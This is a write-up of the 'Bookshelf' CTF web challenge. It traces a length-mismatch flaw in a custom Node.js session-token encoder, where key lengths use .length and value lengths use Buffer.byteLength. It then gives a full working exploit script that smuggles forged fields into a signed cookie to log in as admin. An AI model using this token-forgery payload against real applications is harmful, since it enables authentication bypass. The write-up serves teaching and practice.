You can find some of the scripts I used for this ctf on my github repo

Bookshelf Writeup

Organize those rectangular things that take physical space!

https://books.web.ctfcompetition.com/

[Attachment]

Downloaded the attachment. Surprise, the code is in there for the books CMS. I don’t have to blackbox it.

NodeJS. Beautiful.

Started looking through the code. Sniffing for anything out of place.

{
   "dependencies": {
    "@google-cloud/datastore": "1.3.4",
    "@google-cloud/storage": "1.6.0",
    "body-parser": "1.18.2",
    "express": "4.16.2",
    "lodash": "4.17.5",
    "mongodb": "3.0.2",
    "multer": "1.3.0",
    "mysql": "2.15.0",
    "nconf": "0.10.0",
    "prompt": "1.0.0",
    "pug": "2.0.0-rc.4",
    "uglify-js": "3.3.12",
    "cookie-parser": "latest",
    "uuid": "latest"
  },
}

My guess is that there is nothing I can do about the google-cloud storage and datastore. They won’t expose a vulnerability for this challenge on their main server, so uploading a php shell (2000’s h4x0r style) is out of the question.

The fact that the versions are fixed raises a question mark. but they’re the latest, so moving on.

Enter ./app.js We have

app.use('/books', require('./books/crud'));
app.use('/user', require('./books/user'));

but nothing much else. Moving on through the files.

books/api.js – found out the hard way it’s not actually used. Maybe something changed and they forgot it here.

books/crud.js – crud operations on books

books/user.js – well here it gets interesting

let data = req.body;

let u = await userModel.get(h(data.name));

if (u) {
    res.status(400).send('User exists.');
    return;
}

if (req.file && req.file.cloudStoragePublicUrl) {
  data.image = req.file.cloudStoragePublicUrl;
}

if (data.name === 'admin') {
    res.status(503).send('Nope!');
    return;
}

data.age = data.age | 0;

if (data.age < 18) {
    res.status(503).send('You are too young!');
    return;
}

data.password = h(data.password);

userModel.update(h(data.name), data, () => {
    res.redirect('/');
});

Particularly when he says I can’t register as an admin. BUT MOOOOOM!!!. Well you can’t. That’s the First Clue. I gotta have it.

Looking through lib directory I found

  • lib/auth.js
  • lib/bwt.js
  • lib/images.js

Analyzed auth.js. Seems that if you login, there’s a middleware that creates your session cookie. And it’s a BWT. Kinda like a young cousin of JWT that looks at the world with hope. Well that’s a clue. The Second Clue. Why not just use JWT my dudes? Because that would make the challenge impossible. maybe. i guess.

Soo. bwt.js

'strict';

const crypto = require('crypto');

function pint(n) {
    let b = new Buffer(4)
    b.writeInt32LE(n)
    return b
}

function encode(o, KEY) {
    let b = new Buffer(0)

    for (let k in o) {
        let v = o[k]

        b = Buffer.concat([b, pint(k.length), Buffer.from(k)])

        switch(typeof v) {
            case "string":
                b = Buffer.concat([b, Buffer.from([1]), pint(Buffer.byteLength(v)), Buffer.from(v.toLowerCase())])
                break
            case 'number':
                b = Buffer.concat([b, Buffer.from([2]), pint(v)])
                break
            default:
                b = Buffer.concat([b, Buffer.from([0])])
                break
        }
    }

    b = b.toString('base64')

    const hmac = crypto.createHmac('sha256', KEY)
    hmac.update(b)
    let s = hmac.digest('base64')

    return b + '.' + s
}

function decode(payload, KEY) {
    let [b, s] = payload.split('.')

    const hmac = crypto.createHmac('sha256', KEY)
    hmac.update(b)
    if (s !== hmac.digest('base64')) {
        return null;
    }

    let o = {}
    let i = 0
    b = new Buffer(b, 'base64')

    while (i < b.length) {
        n = b.readUInt32LE(i), i += 4
        k = b.toString('utf8', i, i+n), i += n
        t = b.readUInt8(i), i += 1

        switch(t) {
            case 1:
                n = b.readUInt32LE(i), i += 4
                v = b.toString('utf8', i, i+n), i += n
                o[k] = v
                break
            case 2:
                n = b.readUInt32LE(i), i += 4
                o[k] = n
                break
            default:
                break
        }
    }
    return o
}

module.exports = function(key) {
    return {
        encode: (o) => encode(o, key),
        decode: (p) => decode(p, key)
    }
}

I looked really deep into it’s easy. But couldn’t see anything. How do you break the key?! You don’t… Maybe HMAC? Nope.

Looking around the site I noticed that if I login multiple times, the keys scramble around in the session.

< set-cookie: auth=BAAAAG5hbWUBCQAAAG55dHIwZ2VuMQgAAABwYXNzd29yZAFAAAAANjVlODRiZTMzNTMyZmI3ODRjNDgxMjk2NzVmOWVmZjNhNjgyYjI3MTY4YzBlYTc0NGIyY2Y1OGVlMDIzMzdjNQMAAABhZ2UCFAAAAAQAAABkZXNjAQQAAAAxMjM3AgAAAGlkAUAAAABhYzM5NGQ0MjNiNDI1NGU0ZGI3MTVlMGUzNDRhODBlZjU5ODE4MTQzNzkxNzBiMWMxNzE5MDU0NWYwZWNiZjdj.YBcJKLB6va%2BHpADFIIfxssCuUqeKnp9v2evfPOgSnCM%3D; Path=/

\u0004\u0000\u0000\u0000name\u0001\u0009\u0000\u0000\u0000nytr0gen1\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5\u0003\u0000\u0000\u0000age\u0002\u0014\u0000\u0000\u0000\u0004\u0000\u0000\u0000desc\u0001\u0004\u0000\u0000\u00001237\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u0000ac394d423b4254e4db715e0e344a80ef5981814379170b1c17190545f0ecbf7c

< set-cookie: auth=BAAAAGRlc2MBBAAAADEyMzcEAAAAbmFtZQEJAAAAbnl0cjBnZW4xCAAAAHBhc3N3b3JkAUAAAAA2NWU4NGJlMzM1MzJmYjc4NGM0ODEyOTY3NWY5ZWZmM2E2ODJiMjcxNjhjMGVhNzQ0YjJjZjU4ZWUwMjMzN2M1AwAAAGFnZQIUAAAAAgAAAGlkAUAAAABhYzM5NGQ0MjNiNDI1NGU0ZGI3MTVlMGUzNDRhODBlZjU5ODE4MTQzNzkxNzBiMWMxNzE5MDU0NWYwZWNiZjdj.03lJdjbM2jI3z4P458fD5%2FdTb97bEvoXAOHaAUI5Ohs%3D; Path=/

\u0004\u0000\u0000\u0000desc\u0001\u0004\u0000\u0000\u00001237\u0004\u0000\u0000\u0000name\u0001\u0009\u0000\u0000\u0000nytr0gen1\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5\u0003\u0000\u0000\u0000age\u0002\u0014\u0000\u0000\u0000\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u0000ac394d423b4254e4db715e0e344a80ef5981814379170b1c17190545f0ecbf7c

< set-cookie: auth=CAAAAHBhc3N3b3JkAUAAAAA2NWU4NGJlMzM1MzJmYjc4NGM0ODEyOTY3NWY5ZWZmM2E2ODJiMjcxNjhjMGVhNzQ0YjJjZjU4ZWUwMjMzN2M1AwAAAGFnZQIUAAAABAAAAGRlc2MBBAAAADEyMzcEAAAAbmFtZQEJAAAAbnl0cjBnZW4xAgAAAGlkAUAAAABhYzM5NGQ0MjNiNDI1NGU0ZGI3MTVlMGUzNDRhODBlZjU5ODE4MTQzNzkxNzBiMWMxNzE5MDU0NWYwZWNiZjdj.3VHfeHTFDGEr7tHcFj3%2By8DoAGZRxyqlXlFygJDfg40%3D; Path=/

\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5\u0003\u0000\u0000\u0000age\u0002\u0014\u0000\u0000\u0000\u0004\u0000\u0000\u0000desc\u0001\u0004\u0000\u0000\u00001237\u0004\u0000\u0000\u0000name\u0001\u0009\u0000\u0000\u0000nytr0gen1\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u0000ac394d423b4254e4db715e0e344a80ef5981814379170b1c17190545f0ecbf7c

kinda like this. well I got this idea. While eating some nutella with pancakes. that maybe, maybe I can get a combination on login that could put desc the last. And with that I can write some magical stuff and overwrite the id. Which seems to be the last one always. You can check curl-login.sh for repeated SPAAM.

Well the idea seems valid. I gotta be admin right?! But going back to bwt.js my idea is smashed into little pieces because he takes length into account.

// k is for key
// v is for value
b = Buffer.concat([b, pint(k.length), Buffer.from(k)])
switch(typeof v) {
    case "string":
        b = Buffer.concat([b, Buffer.from([1]), pint(Buffer.byteLength(v)), Buffer.from(v.toLowerCase())])
        break
    case 'number':
        b = Buffer.concat([b, Buffer.from([2]), pint(v)])
        break
    default:
        b = Buffer.concat([b, Buffer.from([0])])
        break

but wait. what is that Buffer.byteLength(v). It seems you use that for utf8. There’s a neat example on nodejs docs. // Prints: ½ + ¼ = ¾: 9 characters, 12 bytes Omg that’s exactly what I need. And would you look at that, the key uses .length and only the value is encoded with byteLength. BIG CLUE. What if we insert some multibyte chars, so it decodes before the key ends. But can we?! I remembered something strange I saw earlier.

In views/user/reg.pug there’s a field called desc. But there is no desc field in books/user.js. How can that be?! Well I gotta check the model. Modern Advanced 31337 Corporate Frameworks check fields and validate in there.

We’re looking for userModel.update

function toDatastore (obj, nonIndexed) {
  nonIndexed = nonIndexed || [];
  let results = [];
  Object.keys(obj).forEach((k) => {
    if (obj[k] === undefined) {
      return;
    }
    results.push({
      name: k,
      value: obj[k],
      excludeFromIndexes: nonIndexed.indexOf(k) !== -1
    });
  });
  return results;
}

function update (id, data, cb) {
  let key;
  if (id) {
    key = ds.key([kind, id.toString()]);
  } else {
    key = ds.key(kind);
  }

  const entity = {
    key: key,
    data: toDatastore(data)
  };

  ds.save(
    entity,
    (err) => {
      data.id = entity.key.name;
      cb(err, err ? null : data);
    }
  );
}

NO WAY MAN. everything I send to that register is stored in the db.

SO I can manufacture a special key, which decodes into the object I want. Can I overwrite the id? Hell yeah. If I just make the decoder somehow comment out the id, I’m gold.

From here I just had to understand how the encoder lib/bwt.js moves the bits around. And then I created a register payload.

At this point I got so fluent in BWT code that I didn’t code anything to spill out bwt code for me. It was like second nature. I created bwt-payload.js to test my wild theories, which is basically a lib/bwt.js without the hmac.

'strict';

const crypto = require('crypto');

function pint(n) {
    let b = new Buffer(4)
    b.writeInt32LE(n)
    return b
}

function encode(o) {
    let b = new Buffer(0)

    for (let k in o) {
        let v = o[k]

        b = Buffer.concat([b, pint(k.length), Buffer.from(k)])

        switch(typeof v) {
        case "string":
            b = Buffer.concat([b, Buffer.from([1]), pint(Buffer.byteLength(v)), Buffer.from(v.toLowerCase())])
            break
        case 'number':
            b = Buffer.concat([b, Buffer.from([2]), pint(v)])
            break
        default:
            b = Buffer.concat([b, Buffer.from([0])])
            break
        }
    }

    b = b.toString('base64')

    return b
}

function decode(b) {
    let o = {}
    let i = 0
    b = new Buffer(b, 'base64')

    while (i < b.length) {
        n = b.readUInt32LE(i), i += 4
        k = b.toString('utf8', i, i+n), i += n
        t = b.readUInt8(i), i += 1

        console.log(k, n);

        switch(t) {
        case 1:
            n = b.readUInt32LE(i), i += 4
            v = b.toString('utf8', i, i+n), i += n
            o[k] = v
            break
        case 2:
            n = b.readUInt32LE(i), i += 4
            o[k] = n
            break
        default:
            break
        }
    }
    return o
}

// encode non printable
var encodeNP = function(s){
    var hex, c;
    var result = '';
    for (var i = 0; i < s.length; i++) {
        c = s[i];
        if (c >= 32 && c <= 126) {
            result += String.fromCharCode(c);
        } else {
            hex = c.toString(16);
            result += '\\u' + ('000'+hex).slice(-4);
        }
    }

    return result;
}

const payload = {
    'name': 'nytr0gen31337',
    'age': 20,
    'desc': 13,
    "zzzz\u00bd\u00bd\u00bd\u00bd\u00bd\u0001\u0005\u0000\u0000\u0000": "\u0004\u0000\u0000\u0000name\u0001\u0005\u0000\u0000\u0000admin" +
        "\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u00008c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918" +
        "\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5" +
        "\u0002\u0000\u0000\u0000pl\u0001\u00ff\u00ff\u0000\u0000",
    'password': '65e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5',
    'id': 'deadbeefb5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918'
};
console.log(payload);
const plm = encode(payload);
console.log(plm);
console.log(encodeNP(new Buffer(plm, 'base64')));
console.log(decode(plm));
// PAYLOAD BEFORE ENCODING
{
    'name': 'nytr0gen31337',
    'age': 20,
    'desc': 13,
    "zzzz\u00bd\u00bd\u00bd\u00bd\u00bd\u0001\u0005\u0000\u0000\u0000": "\u0004\u0000\u0000\u0000name\u0001\u0005\u0000\u0000\u0000admin" +
        "\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u00008c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918" +
        "\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5" +
        "\u0002\u0000\u0000\u0000pl\u0001\u00ff\u00ff\u0000\u0000",
    'password': '65e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5',
    'id': 'deadbeefb5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918'
}

What interests us is this part

"zzzz\u00bd\u00bd\u00bd\u00bd\u00bd\u0001\u0005\u0000\u0000\u0000":
    "\u0004\u0000\u0000\u0000name\u0001\u0005\u0000\u0000\u0000admin" +
    "\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u00008c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918" +
    "\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5" +
    "\u0002\u0000\u0000\u0000pl\u0001\u00ff\u00ff\u0000\u0000",

So we have 4*z, 5*\u00bd and \u0001\u0005\u0000\u0000\u0000. This helps us skip 5 magic header bits from the key. Specifically \u0001\u00bb\u0000\u0000\u0000. So everything in the value part gets decoded as new keys.

name. \u0004\u0000\u0000\u0000name\u0001\u0005\u0000\u0000\u0000admin admin yeah

id. \u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u00008c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918. sha256(‘admin’)

password. \u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5. sha256(‘qwerty’)

As you have seen before, id is always put last when creating the session cookie. We have to make the decoder skip it, because it will overwrite our id. bad.

\u0002\u0000\u0000\u0000pl\u0001\u00ff\u00ff\u0000\u0000. this does exactly that. under the key pl with a length of \u00ff\u00ff\u0000\u0000 == 65535. It seems that if I tried a length lesser than what was after it, the script will fail miserably. But anything bigger is cool.

What does it look like after decoding?

// ENCODED_PAYLOAD AFTER DECODING
{ name: 'admin',
  age: 20,
  desc: 13,
  'zzzz½½½½½': '\u0001\u00bb\u0000\u0000\u0000',
  id:
   '8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918',
  password:
   '65e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5',
  pl:
   '\u0000\u0000\b\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u0000deadbeefb5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918' }

We’re IN! now i just have to register with that payload.

// Requires NodeJs
// and `npm install axios`
const axios = require('axios');
const querystring = require('querystring');

axios({
    method: 'post',
    url: `https://books.web.ctfcompetition.com/user/register`,
    headers: {
        referer: 'https://books.web.ctfcompetition.com/user/register',
        'Content-Type': 'application/x-www-form-urlencoded',
    },
    data: querystring.stringify({
        'name': 'nytr0gen31337',
        'age': 20,
        'desc': 13,
        "zzzz\u00bd\u00bd\u00bd\u00bd\u00bd\u0001\u0005\u0000\u0000\u0000": "\u0004\u0000\u0000\u0000name\u0001\u0005\u0000\u0000\u0000admin" +
        "\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u00008c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918" +
        "\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5" +
        "\u0002\u0000\u0000\u0000pl\u0001\u00ff\u00ff\u0000\u0000",
        'password': 'qwerty',
    }),
}).then((response) => {
    console.log(response.data);
}).catch((err) => {
    console.error(err);
});

login as nytr0gen31337 and we’re finished, go to my books.

CTF{1892b0d8bc93d7e4ca98975f47f8c7d8}

that look like an md5. what’s in there?